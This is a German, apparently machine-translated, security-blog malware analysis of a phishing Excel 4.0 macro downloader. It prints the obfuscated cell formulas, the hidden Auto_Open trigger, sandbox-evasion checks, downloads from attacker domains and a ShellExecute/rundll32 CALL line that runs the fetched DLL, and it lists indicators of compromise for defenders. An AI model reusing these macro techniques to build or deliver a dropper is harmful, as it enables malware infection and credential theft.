Alltag Tinkoff Security Operations Center: Analyse einzelner Bootloader

Hallo Habr!

In unserem Tinkoff Security Operation Center analysieren wir regelmäßig die bei Malware und Angriffen verwendeten Techniken. Kürzlich sind wir auf eine interessante Datei gestoßen, über die wir sprechen möchten.

Bild

Die Technik, mit der dieses Meisterwerk geschaffen wurde, ist seit über 20 Jahren bekannt, bleibt aber auch Jahrzehnte später relevant, da die Aufrufe einiger Überprüfungen im Makro nicht verdächtig sind und in legitimen Dokumenten verwendet werden können. Dies ist ein Malware-Downloader, der in Excel 4.0-Makros geschrieben wurde.

Werkzeuge


Im Rahmen der Analyse werden wir mindestens Tools von Drittanbietern verwenden und mit einer Reihe von Standardprogrammen auskommen:

  • Microsoft Office Suite
  • Archivar;
  • Texteditor;
  • Als Werkzeug zur Analyse von Softwareaktionen werden wir Sysmon verwenden.
  • Als Umgebung für die Analyse verwenden wir eine VM mit Windows 7 an Bord

Mnogabukaf


Das Dokument, das wir analysieren werden, ist eine Excel-Arbeitsmappe im XLS-Format. Die Malware wird in Phishing-E-Mails übermittelt. Wenn das Dokument gestartet wird, entlädt das Makro den Registrierungszweig, lädt Informationen zu Office-Updates von der Microsoft-Website herunter und lädt schädliche DLLs herunter und startet sie. Nach diesen Schritten wird das Buch geschlossen, ohne Änderungen zu speichern.

Der Hauptunterschied zu anderen Ladern dieses Typs besteht darin, dass keine VBA-Makros verwendet werden.

Statische Analyse


Das folgende Beispiel zeigt eine E-Mail mit einem schädlichen Dokument.



Öffnen Sie den Anhang in unserer virtuellen Maschine.

Sie sollten sofort darauf achten: Das Bild warnt, dass das Dokument „geschützt“ ist, und es lohnt sich, es lokal zu öffnen und auf „Inhalt aktivieren“ zu klicken:



Eine Sicherheitswarnung weist darauf hin, dass Sie Projekte im Visual Basic-Editor anzeigen müssen.

Wir wenden uns an das Entwickler-Makro-Management (vbs), sehen jedoch keine vbs- oder vba-Makros:



Hier ist die Zeit, sich daran zu erinnern, was Office-Dokumente sind.

Jedes Microsoft Office-Dokument ist ein Archiv, das mit einem beliebigen Archivierer entpackt werden kann, um den Inhalt des Dokuments zu extrahieren:



Nach dem Auspacken sehen wir, dass es in den Dokumenten keine XML-Dateien gibt, an die wir gewöhnt sind. Das Ding hat das ältere Dokumentformat - xls.

In der Erweiterung xls wird der Inhalt nicht im Office Open XML-Format, sondern im BIFF8-Binärformat gespeichert. Das Dokument verwendet ein Excel 4.0-Makro, mit dem Makros in Dokumentzellen ausgeführt werden können.

Es ist anzumerken, dass das Blatt mit dem Makro nicht ausgeblendet ist, aber das Blatt eine große Anzahl leerer Zellen aufweist, was die Analyse schwierig macht.

Es gibt Tools zum Analysieren von BIFF8-Dateien, zum Beispiel BiffViewer, und zum Analysieren von Inhalten gibt es ein großartiges Tool - oletools. Wir werden jedoch versuchen, auf die Verwendung von Dienstprogrammen von Drittanbietern zu verzichten.

Excel hat auch ein XML- basiertes Format - xlsmkönnen Sie VBA-Makrocode und Excel 4.0-Makroblätter darin speichern, was wir tun werden.
Die vollständige Liste der für Excel verfügbaren Formate enthält Excel-Formate .

Wir speichern unser Dokument, entpacken es: Mal



sehen, was sich in den Dateien befindet, beginnen mit dem Makroblattverzeichnis im Ordner xl und suchen die Datei mit allen Daten auf dem Makroblatt:



So erhalten wir alle Werte in den Zellen auf dem Makroblatt. Das Makro selbst ist verschleiert, die Zellen enthalten nur numerische Werte und Formeln, die diese Werte konvertieren und das Ergebnis in neue Zellen schreiben.

In dieser Formel werden beispielsweise numerische Werte in Zeichen konvertiert, verkettet und in die Zelle FK17653 geschrieben.

Formel in Excel
FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

Als Ergebnis der Formel erhalten wir die folgende Zeile:



Jeder nachfolgende Makrobefehl wird von einer ähnlichen Formel „gesammelt“, in die Zelle geschrieben und dann ausgeführt.

Damit das Makro beim Öffnen des Dokuments automatisch ausgeführt wird, muss die Zelle, aus der das Skript gestartet werden soll, Auto_Open heißen. Betrachten Sie die Datei workbook.xml:

workbook.xml
<?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

In der Datei finden wir den Zeilennamen = "_ xlnm.Auto_OpenT8nee" hidden = "1"> Sheet2! $ IE $ 65406
Dies bedeutet, dass die Zelle, in der das Makro ausgeführt wird, IE65406, ausgeblendet ist. Jetzt kennen wir den Einstiegspunkt in das Makro.

Dynamische Analyse


Führen Sie niemals verdächtige Dateien auf Ihrem Computer aus. Um die Aktionen verdächtiger Software zu untersuchen, muss eine speziell vorbereitete Umgebung verwendet werden: verschiedene Sandkästen oder eine speziell vorbereitete isolierte Maschine - virtuell oder eisern.

Öffnen Sie das Dokument und führen Sie den Inhalt aus. Das Eingabeaufforderungsfenster blinkt und das Buch wird geschlossen.
Sehen wir uns die Sysmon-Protokolle an.

Sysmon hat ein Ereignis zur Prozesserstellung (ID 1). Weitere Informationen zu Sysmon finden Sie hier .

An den Protokollen sehen wir, dass das Makro Dateien im Verzeichnis c: \ users \ public erstellt.

Die folgende Sysmon-Nachricht zeigt an, dass der Registrierungszweig entladen und das Ergebnis in die Datei geschrieben wird:

Sysmon Event Ereignis ID 1
sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

Nach Abschluss löscht das Makro die erstellten Dateien.

Um das Löschen von Dateien zu verhindern, ändern Sie die Berechtigungen für den Ordner, lassen Sie Lese- und Schreibberechtigungen und verbieten Sie das Löschen:



Führen Sie das Dokument erneut aus. Während der Ausführung des Makros wird eine Fehlermeldung angezeigt, mit der wir es debuggen können.

Dies ist möglich, da bei einigen Aufrufen keine Ausnahmebehandlung erfolgt.





Lassen Sie uns das Makro Schritt für Schritt ausführen . Während des Debuggens treten Funktionsaufrufe aus DLL-Bibliotheken wie ShellExecute und URLDownloadToFile auf . Nach Abschluss des Makros befinden sich die folgenden Dateien im Ordner für freigegebene Benutzer:



Da wir die Zelle kennen, von der aus die Ausführung beginnt, können wir alle Zellen im Makroblatt ausfüllen. Gehen wir über das Makro zur Funktion close (false), wo wir die Ausführung durch Klicken auf die Schaltfläche „Pause“ unterbrechen.

Umgebungsprüfzellen


Wenn wir uns die Zellen ansehen, die das Makro füllt, stoßen wir auf verschiedene Funktionen: get.window () und get.workspace ()

  • Die Funktion get.window () gibt Informationen zum aktuellen Fenster zurück: Status, Fensterstatus, Name, Anzeigeoptionen usw.
  • Mit der Funktion get.workspace () können Sie Informationen über die Umgebung abrufen, in der das Dokument ausgeführt wird.

Eine vollständige Liste der für Excel 4.0 verfügbaren Anrufe finden Sie unter den Links.

Hier müssen wir näher darauf eingehen: Mein Kollege und ich schlugen vor, dass die meisten dieser Anrufe mit Versuchen zusammenhängen, Sandkästen zu umgehen:

  • get.winow (7) - prüft, ob das aktuelle Fenster ausgeblendet ist. Gibt true oder false zurück.
  • get.windows (20) - gibt true zurück, wenn das Fenster maximiert ist.
  • get.windows (23) - kann die Werte 1, 2 und 3 zurückgeben.



1 - wiederhergestellt
2 - minimiert
3 - maximiert

So wird geprüft, ob das aktuelle Fenster geöffnet ist:

get.workspace (31) - prüft, ob das Makro schrittweise debuggt wird.
get.workspace (13) - Überprüfen Sie die Breite des Arbeitsbereichs in Pixel: Wenn weniger als 770, schließt das Buch



get.workspace (14) - Überprüfen Sie die Höhe des Arbeitsbereichs in Pixel: Wenn weniger als 390, schließt das Buch



get.workspace (19) - Überprüfen Sie die Anwesenheit einer Maus.
get.workspace (1) - Gibt zurück, auf welchem ​​Betriebssystem das Dokument ausgeführt wird.
Im Falle von false erfolgt bei jeder Prüfung ein Übergang zur Buchschließzelle, ohne dass das Ergebnis gespeichert wird.

Externe Bibliotheksaufrufe


Nachdem wir die Umgebung überprüft haben, fahren wir mit der Hauptfunktionalität fort. Mal sehen, wie WinAPI-Funktionen vom Makro aufgerufen werden:

1. Der Aufruf von reg.exe, den wir in den Sysmon-Protokollen gesehen haben.



Zum Aufrufen des Dienstprogramms wird die ShellExecute-Funktion aus der Bibliothek shell32.dll verwendet. Die Parameter für die Funktion sind in anderen Zellen verteilt.

Zelle BN16631:



Zelle A46097:



In Zelle GN47559 wird der Befehl zum Exportieren des erforderlichen Registrierungszweigs gesendet. Get.workspace (2) gibt die Version von Excel zurück.



Die Zelle DX48821 enthält den Pfad, in den das Ergebnis geschrieben wird.



Weiter im Makro wird geprüft, ob die erstellte IcltdXw.reg-Datei vorhanden ist und gelöscht wurde.

2. Aufrufen der Funktion URLDownloadToFile. Diese Funktion speichert das Ergebnis einer Abrufanforderung in einer Datei.
Der Anruf lautet wie folgt:



Dieser Aufruf führt uns zur Microsoft-Website und zur Seite mit Informationen zu Office-Updates.

Funktionsparameter:

Zelle BR6547



Zelle IN49847



Nach dem Ausführen der Anweisung wird geprüft, ob die Datei erstellt wurde, und auch das Lesen des Zeichens durch den Versatz in der Datei:



Diese Aktionen zielen höchstwahrscheinlich darauf ab, zu überprüfen, ob die Umgebung, in der das Dokument ausgeführt wird, über einen Internetzugang verfügt.

In der Formel wird die Funktion FILES an iserror übergeben, und das Argument ist der Name der Datei, in die das Ergebnis der Funktion URLDownloadToFile geschrieben werden soll: Die



Zelle FM27223 steuert die Funktion zum Schließen des Buches:



Nach erfolgreichem Empfang der Datei von Microsoft werden die Zellen gefüllt, um den zweiten Aufruf der URL urlmon vorzubereiten.

Nutzlast wird geladen


Und hier ist der zweite Aufruf, aber an die Domäne dehabadi [.] Ir, von der die böswillige Last geladen werden soll:



Das Ergebnis wird in eine Datei im selben Ordner mit der Erweiterung html geschrieben:



Als nächstes stoßen wir auf einen Zweig im Makrocode, wenn beim ersten Versuch, Nutzdaten herunterzuladen, fehlgeschlagen, wird ein zweiter Versuch unternommen, jedoch von einer anderen Adresse.

Wenn der Download erfolgreich ist, wird ein Warn-Popup angezeigt und die geladene Bibliothek wird aufgerufen.



Der vollständige Anruf lautet wie folgt:

=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5) 

Bei einem vollständigen Aufruf wird die ShellExecuteA-Funktion aus der Shell32-Bibliothek mit Parametern zum Starten von rundll32 aufgerufen, mit denen die exportierte Funktion der heruntergeladenen schädlichen Bibliothek aufgerufen wird.

Damit ist die Makrofunktion abgeschlossen, die Nutzlast ist betriebsbereit.

Fazit


Wie bereits erwähnt, ist die Technologie ziemlich alt ( Excel 4.0 für Windows 3.0 und 3.1 ), bietet jedoch die Funktionalität, die Malware benötigt, um ihre Ziele zu erreichen. Der Zweck dieser Datei besteht darin, gefährliche Software stillschweigend in das System einzufügen, die schwerwiegende Schäden verursachen kann, angefangen beim Diebstahl personenbezogener Daten über Autorisierungsdaten für Systeme bis hin zur Beschädigung / Verschlüsselung von Daten auf dem Computer und der Möglichkeit, Code remote auszuführen.

Für die Analyse solcher Dokumente ist es überhaupt nicht erforderlich, spezielle Dienstprogramme und Software zu verwenden. Erwähnenswert ist jedoch eine Reihe von Oletools- Skripten. Weitere Details finden Sie hier . Wir werden hier enden. Nachfolgend sind Indikatoren für Kompromisse aufgeführt, die als Ergebnis der Analyse identifiziert wurden.

Erhaltenes IOC:

evans [.] williamdmon [@] wp [.] pl
eleventalents [.] com
dehabadi [.] ir
hxxps: //eleventalents.com/wp-keys.php
hxxps: //dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419

Eine vollständige Liste der Kompromissindikatoren.

Verweise:


Arbeitete an der Analyse:

Frolov Ilya
Kolenchuk Alexey

All Articles